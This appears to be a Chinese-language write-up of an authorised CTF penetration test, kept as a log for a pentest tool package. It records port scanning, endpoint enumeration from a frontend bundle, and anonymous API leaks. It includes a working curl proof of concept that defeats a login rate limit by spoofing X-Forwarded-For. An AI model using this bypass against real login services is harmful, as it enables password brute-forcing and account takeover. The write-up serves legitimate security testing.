# 2026-05-26 CTF Web 网关限速绕过与信息暴露

## 场景分类
渗透测试

## 目标概述
对 `{target_domain}` 进行授权 CTF 渗透，验证登录防爆破与匿名接口暴露风险。

## 完整执行链路

1. 路由到 `pentest-tools`，读取先例与工具索引，确认 `nmap` 可用。
2. 端口探测确认多端口暴露，随后转入 Web 接口枚举。
3. 从前端 `index-*.js` 提取接口字典，批量验证匿名访问状态码。
4. 发现 `GET /api/status`、`GET /api/pricing`、`GET /api/setup` 匿名可访问并返回敏感字段。
5. 对 `POST /api/user/login` 进行速率限制测试，先触发 `429`，再加入 `X-Forwarded-For` 伪造头验证绕过。
6. 复现成功：无伪造头为 `429`，伪造/轮换 XFF 为 `200`。

## 踩坑记录

| 问题 | 原因 | 解决方案 | 耗时 |
|------|------|---------|------|
| Nmap 初次失败（eth0） | Npcap 设备映射与默认接口不一致 | 显式指定 `-e eth3` 或改用 `-sT` | 8 分钟 |
| HTTP 请求偶发超时 | 目标侧限流/网络抖动 | 缩小请求并行、加 `--max-time` 与重试窗口 | 6 分钟 |
| 登录返回值不稳定 | 限速状态变化掩盖真实行为 | 固定测试矩阵：无头部 vs 伪造 XFF | 5 分钟 |

## 工具链发现

- `nmap` 适合快速确认暴露面，但服务识别受目标策略影响较大。
- 通过前端 bundle 抽取接口路径是高效方法，适合自建网关类应用。
- 对限速逻辑，优先做“同参数+变源”对照实验，可快速识别 header trust 问题。

## 关键代码/命令

```bash
# 匿名接口枚举（节选）
curl -k -s https://{target_domain}/api/status
curl -k -s https://{target_domain}/api/pricing

# 限速绕过 PoC
curl -k -s -o /dev/null -w "%{http_code}\n" \
  -H "Content-Type: application/json" \
  -X POST "https://{target_domain}/api/user/login?turnstile=" \
  --data '{"username":"root","password":"12345678"}'
# => 429

curl -k -s -o /dev/null -w "%{http_code}\n" \
  -H "Content-Type: application/json" \
  -H "X-Forwarded-For: 10.0.0.123" \
  -X POST "https://{target_domain}/api/user/login?turnstile=" \
  --data '{"username":"root","password":"12345678"}'
# => 200
```

## 对本包的改进建议

- `pentest-tools` 可新增“限速绕过验证模板”（XFF/X-Real-IP/Forwarded 三组对照）。
- 在 `templates/findings.md` 增加“防爆破策略有效性”检查项。

## 可复用的模式/脚本片段

- 模式：`429 baseline` → `header mutation` → `status diff`。
- 结论阈值：同请求体下，状态从 `429` 稳定降为 `200` 可判定疑似限速绕过。

## 进化动作
- [ ] 更新了路由矩阵
- [ ] 更新了 tool-index
- [ ] 更新了 bootstrap-manifest
- [ ] 更新了子 skill 文档
- [x] 新增了 pitfalls 记录
- [ ] 无需更新

## 环境信息
- OS: Windows (PowerShell)
- 工具版本: Nmap 7.80, curl (系统自带)
- 目标平台/版本: New API (`X-New-Api-Version: v0.0.0`)

